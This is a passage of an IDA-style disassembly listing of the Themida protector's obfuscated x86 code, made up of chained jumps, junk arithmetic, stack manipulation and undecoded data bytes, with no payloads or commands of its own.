		jmp	loc_5A385E
; ---------------------------------------------------------------------------
		dd 4C1835Fh, 0E9240C87h, 1D26h
; ---------------------------------------------------------------------------


loc_5A5030:				; CODE XREF: Themida_:005A3884j
		neg	ebx
		neg	ebx
		shl	ebx, 1
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 408203F1h
		add	edi, 54123911h
		jmp	loc_595F89
; ---------------------------------------------------------------------------
		dd 97E9C629h, 53FFFF84h, 3E2068h, 242C8900h, 0F0140E68h
		dd 0E08EE93Fh, 34FFFFFFh, 24348B24h, 8304C483h,	0CE904C4h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5077:				; CODE XREF: Themida_:005A3ACBj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59A8F9
; ---------------------------------------------------------------------------
		db 68h,	0E7h, 67h
		dd 1C890000h, 81E38924h, 4C3h, 21616800h, 14890000h, 0C3685724h
		dd 5F352E1Fh, 7E2722BAh, 4A2AE929h, 0E9510000h,	0FFFFBA35h
		dd 0C828DCB1h, 240C8B66h, 2C481h, 0C4E90000h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A50C7:				; CODE XREF: Themida_:00596C15j
		add	ebx, 0A0A48EEh
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 59462157h
		sub	ecx, 1
		sub	ecx, 1D45B19Ch
		add	edx, ecx
		pop	ecx
		sub	edx, 0C5AA12E3h
		add	eax, 6F43777Fh
		add	eax, edx
		sub	eax, 6F43777Fh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5A54E6
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFC70Bh, 0E9240C8Bh, 0FFFF87BFh, 2C6815Dh
		dd 33000000h, 34312434h, 68DBE924h, 2C8BFFFFh, 4C48324h
		dd 0FF0D53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5139:				; CODE XREF: Themida_:005A0CACj
		xor	ecx, 11432C3h
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 5F57D75h
		add	esi, 6F09328Eh
		shl	esi, 6
		jmp	loc_5A99B6
; ---------------------------------------------------------------------------
		dw 8166h
		dd 7E02246Ch, 6C816632h, 44680224h, 0B9665166h,	5E9422Eh
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A516F:				; CODE XREF: Themida_:00597E96j
		mov	ecx, edx
		pop	edx
		xor	eax, ecx
		pop	ecx
		push	eax
		mov	eax, 92D4EB0h
		jmp	loc_59CFEA
; ---------------------------------------------------------------------------
		dd 51242C89h, 0B0504468h, 0D7E9590Ah, 81FFFF27h, 568C76C7h
		dd 81C581A9h, 0E92F6B30h, 53C6h, 2501E883h, 43C84F39h
		dd 53FFE883h, 0FFA279E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A51B1:				; CODE XREF: Themida_:005A3695j
		add	edi, edx
		jmp	loc_5A8910
; ---------------------------------------------------------------------------


loc_5A51B8:				; CODE XREF: Themida_:0059FE08j
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	2238h
		mov	[esp], eax
		push	3F64h
		mov	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5A7AFB
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0CDh
		dd 57FFFFD3h, 2B56E9h, 0C8B6600h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 0FFF5CBE9h, 241C89FFh,	468h, 0BB535B00h
		dd 225261DFh, 4204EB81h, 0DA29F54Eh, 0E3C2815Bh, 0E9584642h
		dd 0FFFF86C4h, 0E6C1DEF7h, 9952E904h, 5F54FFFFh, 4C781h
		dd 57520000h, 680E82BFh, 39D3BA50h, 0FA314D0Ah,	17E2815Fh
		dd 42283B79h, 77CBE281h, 0FDE960A7h, 89FFFF74h,	12B82404h
		dd 4866FC17h, 1685155h,	5909F27Ch, 0FF53EAE9h, 4BD55FFh
		dd 1000000h, 98E95DEFh,	0BEFFFFDCh, 360C7239h, 0FF3915E9h
		dd 41104FFh, 0A262E98Dh, 0EC83FFFFh, 5953E904h,	0C890000h
		dd 35D2E924h, 74FFFFFFh, 34FF0424h, 2434FF24h, 0E0895058h
		dd 0FFC0BCE9h, 66CB80FFh, 8806EB80h, 0C9FE5BD9h, 5E4BE9h
		dd 0AEE95B00h, 66FFFFE1h, 16B45051h, 8006C480h,	526620CCh
		dd 3BE9DFB6h, 87000059h, 525C2434h, 2BAh, 5AD60100h, 2474FF56h
		dd 5A1CE904h, 0DFF70000h, 0CC36EF81h, 0D8E9F2E7h, 0B9FFFF11h
		dd 3B885EB7h, 5008E1C1h, 2062E8B8h, 17DA054Eh, 0C121228Ch
		dd 1C18158h, 56000000h,	0FF83FAE9h, 47E9ACFFh, 5200001Ch
		dd 0FF6CB1E9h, 0E9E189FFh, 0FFFFA8B7h, 42474FFh, 0E92434FFh
		dd 0FFFF4CE2h, 0E9241433h, 0FFFF8754h, 485368h,	24348900h
		dd 0BA52E689h, 1C1D6D11h, 0EA81D2F7h, 5E1C5BF5h, 32FEE9h
		dd 5E08900h, 4,	405h, 0B2A2E900h, 4EBDFFFFh, 57029151h
		dd 7F3DA2BFh, 1FCF8126h, 6833C56Bh, 214Bh, 0FF18BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A53A5:				; CODE XREF: Themida_:0059A573j
		sub	ebx, 1354144Ah
		jmp	loc_5A4E87
; ---------------------------------------------------------------------------
		dd 0FE04EDC0h, 96A5E9CDh, 2489FFFFh, 24048124h,	4, 0FF129CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A53C9:				; CODE XREF: Themida_:005AB1B1j
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_597E1C
; ---------------------------------------------------------------------------


loc_5A53DC:				; CODE XREF: Themida_:0059B16Aj
		sub	edi, 20613B87h
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 6D4943D0h
		push	eax
		mov	eax, 75C8129Dh
		xor	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ebp, 2A142830h
		push	ebp
		neg	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5AA97C
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 6
		dd 0FF81B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A541D:				; CODE XREF: Themida_:005A624Ej
		add	[esp+4], esi
		add	dword ptr [esp+4], 564C3274h
		push	edi
		push	edx
		push	28DC17A9h
		pop	edx
		dec	edx
		jmp	loc_597853
; ---------------------------------------------------------------------------
		db 52h
		dd 0CA413EBAh, 5AD53174h, 5B9DF581h, 0EF892220h, 0FF1D1AE9h
		dd 5EF101FFh, 0FFA711E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5455:				; CODE XREF: Themida_:005A0883j
		add	bl, ch
		pop	ecx
		jmp	loc_596447
; ---------------------------------------------------------------------------
		db 66h,	5, 3Ah
		dd 0D72D665Bh, 2434FF6Ah, 0FF6631E9h, 48F5AFFh,	24248B24h
		dd 1168F9F7h, 8900000Eh, 9C502414h, 0FF0A07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5485:				; CODE XREF: Themida_:005AA867j
		xor	eax, [esp]
		jmp	loc_5A4B30
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F0h
		dd 0C121C144h, 0DAF702E2h, 2317E9h, 59CF3100h, 0FFE0C6E9h
		dd 4EC83FFh, 0E9242489h, 0B8Eh,	5A2405ADh, 0D8291F06h
		dd 4EC81h, 1C890000h, 0C4CAE924h, 0E789FFFFh, 4C781h, 0DCE90000h
		dd 8BFFFF45h, 3FE9243Ch, 81FFFF0Ch, 0D04FB0CFh,	4B56E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A54E6:				; CODE XREF: Themida_:005A5104j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59FFCB
; ---------------------------------------------------------------------------


loc_5A54F5:				; CODE XREF: Themida_:005A9A7Cj
		push	edi
		mov	edi, 2C1B53A4h
		sub	eax, edi
		pop	edi
		sub	eax, 0E9AEF928h
		jmp	loc_59A1F6
; ---------------------------------------------------------------------------
		dd 4C181h, 0C330000h, 240C3124h, 8B240C33h, 4012424h, 69E99C24h
		dd 8BFFFF09h, 0A7E9242Ch, 83FFFF64h, 348704C6h,	24248B24h
		dd 0FF0E6DE9h, 9E9BEFFh, 0B95163BEh, 5BC27352h,	0FF90D6E9h
		dd 4C483FFh, 0FFFFBD55h, 0E829FFFFh, 5E0C15Dh, 2535E950h
		dd 0C7830000h, 243C8704h, 29B8505Ch, 0E917B527h, 0FFFFE328h
		dd 7685C581h, 0E95629FCh, 0FFFFA2C6h, 242C875Ah, 0E3E9565Ch
		dd 81FFFFF2h, 4C3h, 81E95000h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5593:				; CODE XREF: Themida_:005A27F2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5A7259
; ---------------------------------------------------------------------------


loc_5A55BA:				; CODE XREF: Themida_:0059A45Ej
		mov	ebp, 2EB92EFDh
		jmp	loc_5993F5
; ---------------------------------------------------------------------------


loc_5A55C4:				; CODE XREF: Themida_:00598AD6j
		mov	ebp, 4
		add	esi, 34756D19h
		jmp	loc_5A0FF9
; ---------------------------------------------------------------------------
		dd 48E9F328h, 68FFFF38h, 2, 8124348Bh, 4C4h, 0FFF10100h
		dd 34FF2434h, 0D5E95E24h, 0B9FFFFE5h, 4, 5159CF89h, 0ED14EAB9h
		dd 8BCA2907h, 0C483240Ch, 57FA2904h, 4C0FE9h, 13A6BF00h
		dd 0E7C13F6Dh, 35C78106h, 5123F80Bh, 0A55CDFB9h, 4E1C176h
		dd 0C181D1F7h, 1BF0308h, 0E181D1F7h, 192826BDh,	0F75BE981h
		dd 0CF01073Ch, 0E9240C8Bh, 0FFFF88E9h, 459C828h, 9B6529Eh
		dd 0FF7FEAE9h, 4EC83FFh, 89240C89h, 4C181E1h, 83000000h
		dd 0C8704C1h, 44315C24h, 48B0424h, 4C48124h, 0FF000000h
		dd 835B2434h, 0F38104C4h, 68C07F2Ch, 0FF07FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A568D:				; CODE XREF: Themida_:005A97F7j
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	esi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 21A0215Bh
		push	740B87B3h
		pop	ebp
		sub	ebp, edi
		pop	edi
		dec	ebp
		not	ebp
		push	5A2h
		mov	[esp], ebp
		jmp	loc_5A3E83
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0BA525E54h, 4, 685AD601h, 7370h, 0BF243C89h,	4, 1315EE81h
		dd 0FE0162D4h, 3733E9h,	95C18100h, 817E9876h, 4ECh, 243C8900h
		dd 17A8B0BFh, 0DA3FE99Ch, 0D301FFFFh, 77F9C381h, 0B2E93842h
		dd 28FFFFC0h, 7CE959E8h, 0B8FFFF14h, 5993770h, 4244431h
		dd 0F5815D58h, 5993770h, 0FF227AE9h, 28F64FFh, 0FF074FE9h
		dd 0C6815DFFh, 66FF62F8h, 0FF4BC7E9h, 1CC681FFh, 1457644h
		dd 1B8AE9EEh, 3C87FFFFh, 77D4E924h, 0CB01FFFFh,	0A4EFE959h
		dd 835AFFFFh, 2C8904ECh, 6E87BD24h, 0C58172A9h,	88BCDAh
		dd 505DEF31h, 0FF5559E9h, 0A8D68FFh, 0C890000h,	603CB924h
		dd 3E97E95h, 59FFFF53h,	348B5A56h, 4C48324h, 74354905h
		dd 2DD0010Eh, 0E743549h, 5324148Bh, 5752E389h, 0BE32C5BFh
		dd 81D7F76Fh, 0BE32CAC7h, 5FFA896Fh, 815AD301h,	4C3h, 241C8700h
		dd 6824248Bh, 0BEh, 68240C89h, 52EE0B8Bh, 6E1C159h, 3337E981h
		dd 89510C95h, 4C181E1h,	0E9000000h, 57F1h, 2BFC68h, 243C8900h
		dd 78AE9h, 4C28100h, 87000000h,	248B2414h, 2434FF24h, 0E924048Bh
		dd 0FFFF33EAh, 240C8B66h, 51E78957h, 44DB6855h,	525D54D4h
		dd 2F0BB850h, 56257B88h, 52FE256h, 6C6845CFh, 41B95152h
		dd 0E959CB67h, 0FFFFC4B8h, 0D2A9E952h, 0C581FFFFh, 8A285A84h
		dd 0FFF5F7E9h, 35F280FFh, 793568h, 5A34E900h, 8C2DFFFFh
		dd 1344B18h, 0E95258C1h, 0ABFh,	750EEA81h, 0BD55032Ch
		dd 22F31078h, 0C581DDF7h, 2B4B8388h, 95E9EA01h,	0F7FFFF7Fh
		dd 0EDE68D8h, 92E90000h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5897:				; CODE XREF: Themida_:0059C18Ej
		mov	[esp], ecx
		mov	ecx, 0AA43C9Eh
		and	ecx, 75D6E75h
		dec	ecx
		push	ecx
		jmp	loc_59B4FB
; ---------------------------------------------------------------------------


loc_5A58AC:				; CODE XREF: Themida_:005A27EBj
		add	ebx, 4
		jmp	loc_598F46
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9F988C7h, 0FFFF8372h
; ---------------------------------------------------------------------------


loc_5A58C0:				; CODE XREF: Themida_:0059EF98j
		mov	ebp, esi
		pop	esi
		shr	ebp, 8
		jmp	loc_59D5DC
; ---------------------------------------------------------------------------
		db 1
		dd 0D2F7E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A58D2:				; CODE XREF: Themida_:005A7BBFj
		mov	eax, 5AB874C5h
		neg	eax
		shl	eax, 1
		add	eax, 315452F2h
		neg	eax
		dec	eax
		xor	eax, 0A5A89EE7h
		sub	ecx, eax
		pop	eax
		add	ecx, 0C754702h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59A6D9
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E0892404h, 2A466853h, 85E96116h,	56000012h
		dd 0FFE9FDE9h, 5E801FFh, 44D81716h, 0C60B5C05h,	2434FF1Ch
		dd 4C4815Dh, 51000000h,	382468h, 24148900h, 0FFBEA8E9h
		dd 242C8BFFh, 4C481h, 0B7350000h, 15F6766h, 1C8758C3h
		dd 0CFF5C24h, 7EE99C24h, 0F7FFFF88h, 7E2C1DAh, 0D2F7DAF7h
		dd 1591E9h, 4BB5300h, 0E9000000h, 0FFFF5508h, 4EC81h, 1C890000h
		dd 3E8DBB24h, 89BA56C0h, 3156C03Eh, 0C7815BDAh,	53B039D7h
		dd 97E9D729h, 8BFFFFB5h, 0D3662424h, 0E99C2404h, 0FFFF04ECh
		dd 81E28952h, 4C2h, 4EC8100h, 0E9000000h, 0FFFFB2C1h
; ---------------------------------------------------------------------------


loc_5A59B4:				; CODE XREF: Themida_:005A07DEj
		mov	ebx, [esp]
		jmp	loc_59B208
; ---------------------------------------------------------------------------
		dd 90787405h, 25D0F76Bh, 25560CA5h, 2D6C3548h, 0C7097ACDh
		dd 0C166E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A59D6:				; CODE XREF: Themida_:005A951Ej
		mov	fs:[edx], ax
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 20A768h, 241C8900h, 0C381E389h, 4, 4B850h
		dd 0C8E90000h, 1FFFFFEh, 24BE56F7h, 0E9350A7Ch,	0FFFFB04Bh
; ---------------------------------------------------------------------------


loc_5A5A10:				; CODE XREF: Themida_:005AAB85j
		shr	ebx, 4
		jmp	loc_59D66F
; ---------------------------------------------------------------------------
		dd 4157F068h, 0E0C15872h, 72D4806h, 898E8F8Fh, 0D2F758C2h
		dd 0FF3A3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5A31:				; CODE XREF: Themida_:0059E4C8j
		add	ecx, edi
		add	[ecx], eax
		jmp	loc_59651A
; ---------------------------------------------------------------------------
		dw 0F530h
		dd 24148B66h, 2C481h, 0E8300000h, 81240C8Bh, 4C4h, 60E95300h
		dd 83FFFFFEh, 1C8904ECh, 4EC8124h, 0E9000000h, 0FFFF5B17h
; ---------------------------------------------------------------------------


loc_5A5A68:				; CODE XREF: Themida_:005A90EDj
		mov	edx, esp
		add	edx, 4
		jmp	loc_59C538
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5606E2C1h, 0FFA971E9h, 2C681FFh, 1181379h, 9424E9C6h
		dd 0FE01FFFFh, 593DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A5A95:				; CODE XREF: Themida_:00595EE1j
		add	edx, ebx
		pop	ebx
		neg	edx
		jmp	loc_59746A
; ---------------------------------------------------------------------------
		db 50h
		dd 0F16A19B8h, 426BE90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5AAA:				; CODE XREF: Themida_:005A31BDj
		pop	ecx
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_5A5AB0:				; CODE XREF: Themida_:005A81FEj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 28177719h
		jmp	loc_5A9975
; ---------------------------------------------------------------------------


loc_5A5AC0:				; CODE XREF: Themida_:00599995j
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5A00DF
; ---------------------------------------------------------------------------
		dw 0B5E9h
		dd 80FFFF03h, 0E800DEF5h, 66596659h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5A17C0
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 0E38DE4F6h, 8BF02915h, 0C4812434h, 4, 121D22Dh, 5D80116h
		dd 160121D2h, 0FFBE49E9h, 2BF57FFh, 1000000h, 0C875FF9h
		dd 1D79E924h, 0E9ADFFFFh, 0FFFF49E7h, 8B241C33h, 0BE0F2424h
		dd 4EC83C8h, 89241C89h,	532C68E3h, 6CE90000h, 0DFFFF58h
		dd 47E25E70h, 41D1BF57h, 0F78131A2h, 743350C5h,	0CF4F781h
		dd 9C0510DDh, 1555A08h,	89C2DF8h, 34FF555Ah, 0C4815F24h
		dd 4, 0FC890735h, 58C329B3h, 66D268h, 240C8900h, 0BC5109B9h
		dd 0B88CE978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5B8E:				; CODE XREF: Themida_:0059E845j
		mov	[esp], edi
		jmp	loc_59A3C5
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4C93178Ch, 0FF91D3E9h, 2434FFFFh, 8B2434FFh,	0C4812404h
		dd 4, 50E38953h, 1519E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A5BB9:				; CODE XREF: Themida_:005A8E6Aj
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_5A49AE
; ---------------------------------------------------------------------------


loc_5A5BC7:				; CODE XREF: Themida_:00597606j
		dec	edi
		not	edi
		push	edx
		mov	edx, 2EA52E53h
		or	edi, edx
		pop	edx
		jmp	loc_5999D0
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 39B120F3h, 38EF814Fh, 29FBB1F1h,	2434FFF8h
		dd 4C4835Fh, 5F6BBE56h,	0F68170E0h, 5C6281Ch, 0A9EE8146h
		dd 0E9342C3Fh, 0FFFFB965h
; ---------------------------------------------------------------------------


loc_5A5C08:				; CODE XREF: Themida_:005A654Bj
		add	[ecx], ebx
		jmp	loc_59C7A6
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5852E9D8h, 31ADFFFFh, 501B68D8h, 0C890000h, 53E18924h
		dd 0B01144BBh, 7ECB8146h, 81547A7Ah, 0FA7B7AEBh, 25C9E956h
		dd 0FD290000h, 0E9EA015Fh, 0FFFF51FAh
; ---------------------------------------------------------------------------


loc_5A5C44:				; CODE XREF: Themida_:005A81A1j
		mov	ebx, [esp]
		add	esp, 4
		push	1116h
		mov	[esp], edi
		mov	edi, 54184287h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	dword ptr [edi+20h], 681B723Bh
		dec	dword ptr [edi+20h]
		push	esi
		push	ebx
		mov	ebx, 1C717067h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	esi
		dec	esi
		push	ecx
		mov	ecx, 157F1300h
		push	ebp
		mov	ebp, 3705994h
		jmp	loc_5A7EF7
; ---------------------------------------------------------------------------
		dw 5658h
		dd 0B209ACBEh, 24740174h, 2C815E04h, 81102924h,	4EC814Dh
		dd 0E9000000h, 0FFFFC3C8h, 0FF240489h, 34FF2434h, 3BE95A24h
		dd 68FFFF61h, 2361h, 0B8EE9h, 0E9C32800h, 1505h
; ---------------------------------------------------------------------------


loc_5A5CCC:				; CODE XREF: Themida_:005A8C8Aj
		mov	[esp], eax
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		dd 240CFF55h, 0FF2414F7h, 815D2434h, 4C4h, 62C58100h, 138CF55h
		dd 242C8BEAh, 0FF7E00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5CF5:				; CODE XREF: Themida_:0059B60Fj
		add	esi, ebx
		jmp	loc_5AAD5E
; ---------------------------------------------------------------------------
		dd 875FF829h, 248B2404h, 243C8924h, 0FF5FE9E9h,	1BE95CFFh
		dd 88FFFFF4h, 0E38853FCh, 6AFE9h, 444E0500h, 49054B05h
		dd 29098B49h, 49492DC8h, 0EC83098Bh, 241C8904h,	0DD96E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5D3A:				; CODE XREF: Themida_:005A4AB9j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2A804085h
		jmp	loc_5983D2
; ---------------------------------------------------------------------------
		db 1
		dd 0F0C281C2h, 81569967h, 0F12666C2h, 0C3E95829h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5D5F:				; CODE XREF: Themida_:0059856Aj
		mov	esi, 1
		mov	eax, esi
		pop	esi
		push	4817h
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_59EBA2
; ---------------------------------------------------------------------------


loc_5A5D79:				; CODE XREF: Themida_:005A1A73j
		add	eax, ebp
		pop	ebp
		push	6E77h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A0965
; ---------------------------------------------------------------------------


loc_5A5D8C:				; CODE XREF: Themida_:0059FB7Bj
		mov	ecx, 3B54010Bh
		sub	ecx, 3B540107h
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	5A06h
		jmp	loc_59B48D
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FFEBA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5DB5:				; CODE XREF: Themida_:0059EBFEj
		mov	ebp, eax
		jmp	loc_5A0821
; ---------------------------------------------------------------------------
		dd 5FC8EA81h, 0D789F41Bh, 0E924148Bh, 0FFFF99CAh, 83E9E589h
		dd 5EFFFFE5h, 0FF8904E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5DD9:				; CODE XREF: Themida_:005A62CBj
		dec	esi
		jmp	loc_5A8682
; ---------------------------------------------------------------------------
aVsB		db 'Vé}B',0
		dd 4C48300h, 0FF7649E9h, 59CB01FFh, 0C4BD5A58h,	813CA848h
		dd 452EFBEDh, 81DD290Ch, 452EFBC5h, 0EF015B0Ch,	468525Dh
		dd 5A000000h, 0E95AD701h, 0FFFF9920h, 4C381h, 0C3830000h
		dd 74FF5304h, 8F5B0424h, 565C2404h, 6CE95E54h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5E33:				; CODE XREF: Themida_:00599487j
		pop	ebp
		jmp	loc_59D4C8
; ---------------------------------------------------------------------------
		db 0BDh, 14h, 41h
		dd 0C581573Bh, 70DE2232h, 81D5F745h, 694CDBEDh,	0EED1E9C0h
		dd 1489FFFFh, 0A129E924h, 489FFFFh, 5E08924h, 4, 3C52BA52h
		dd 0EAC150D9h, 0B060E904h, 0F829FFFFh, 8B2434FFh, 0C481243Ch
		dd 4, 0E904C483h, 0FFFF38F4h, 4E02E6C1h, 43C4E9h, 33BE5600h
		dd 0C1014460h, 0EEC103E6h, 3CE8107h, 0E913FE3Ch, 0FFFF25B2h
		dd 8858C688h, 0C8E95AF5h, 51FFFF41h, 0EB88D588h, 0C8B5A59h
		dd 4C48124h, 0E9000000h, 0FFFFF413h
; ---------------------------------------------------------------------------


loc_5A5EC8:				; CODE XREF: Themida_:005A3678j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ebp, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		jmp	loc_59E855
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 241C8900h, 0EC835B54h, 241C8904h, 2434FF54h
		dd 0EA18E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5EFE:				; CODE XREF: Themida_:005AABE9j
		pop	esp
		xor	ecx, 365DAF68h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, eax
		add	ebx, 49A27494h
		pop	small word ptr [eax]
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		dd 348BF789h, 4C48324h,	7CCCBB53h, 0C3815394h, 707C1545h
		dd 6846EB81h, 0DF01599Dh, 0FCE7815Bh, 81028A21h, 38EFh
		dd 0FA895200h, 148BD589h, 7700E924h, 487FFFFh, 2C895C24h
		dd 4BD24h, 0ABE90000h, 29FFFF20h, 815A5AD6h, 4ECh, 1088E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5F76:				; CODE XREF: Themida_:0059A1DAj
		pop	ebx
		jmp	loc_59A779
; ---------------------------------------------------------------------------
		dd 0FFE95450h, 89FFFF74h, 1AE9240Ch, 0BFFFFFF5h, 30E64BE6h
		dd 0FFF546E9h, 81E289FFh, 4C2h,	4C28100h, 0E9000000h, 0FFFFE013h
		dd 2E0EF81h, 38E9243Eh,	8BFFFFD8h, 0C483240Ch, 18B95104h
		dd 0F7207E69h, 2C181D1h, 2973B2D7h, 0D7F759CFh,	70E95152h
		dd 55FFFFBBh, 4E512DBDh, 2971B847h, 0E8311117h,	0FF195BE9h
		dd 240C33FFh, 0FF5915E9h, 0E95559FFh, 0FFFFCAF3h, 2C58C188h
		dd 51C8002Fh, 0D5F60EB5h, 0FFFAD2E9h, 4C783FFh,	5C243C87h
		dd 0FF685CE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h, 0FFFEFE6Ch
		dd 8904EC83h, 46B82404h, 0F70C300Eh, 68D8h, 4810000h, 0F2659E24h
		dd 0E0C3E910h, 0B368FFFFh, 8900001Eh, 4BD242Ch,	1000000h
		dd 5D04246Ch, 4C18159h,	0E9000000h, 0FFFF3746h,	5C242C87h
		dd 0E9241C89h, 1702h, 495F780h,	2CF828B6h, 5E7CE9B6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6076:				; CODE XREF: Themida_:005A011Dj
		add	edi, 1F955C5Ah
		neg	edi
		neg	edi
		jmp	loc_5A2AC0
; ---------------------------------------------------------------------------
		db 51h,	68h, 0C2h
		dd 8B4E790Eh, 0C481240Ch, 4, 0EC0E981h,	5AE94E79h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A609F:				; CODE XREF: Themida_:005A1106j
		inc	esi
		or	esi, 47042C61h
		shl	esi, 8
		jmp	loc_5A84E0
; ---------------------------------------------------------------------------
		dw 48Fh
aHS		db '$h¾S',0
		align 2
		dw 3489h
		dd 4BE24h, 74010000h, 0FF5E0424h, 815A2434h, 4C4h, 0C3E95700h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A60D3:				; CODE XREF: Themida_:005A201Cj
		push	edx
		push	ebx
		mov	ebx, 39937ADDh
		not	ebx
		sub	ebx, 1E915BD9h
		push	ebx
		jmp	loc_59F801
; ---------------------------------------------------------------------------


loc_5A60E8:				; CODE XREF: Themida_:0059C795j
		sub	edi, edx
		sub	edi, 129C6A04h
		jmp	loc_599D62
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8359h, 54240C89h,	4C18159h, 68000000h, 62FCh, 0E9240489h
		dd 536Ah
; ---------------------------------------------------------------------------


loc_5A6114:				; CODE XREF: Themida_:005A8214j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 54AA32C0h
		sub	edi, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_5A31D0
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0F8h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6143:				; CODE XREF: Themida_:00596397j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	6EB3h
		mov	[esp], ebp
		push	48B54418h
		mov	ebp, [esp]
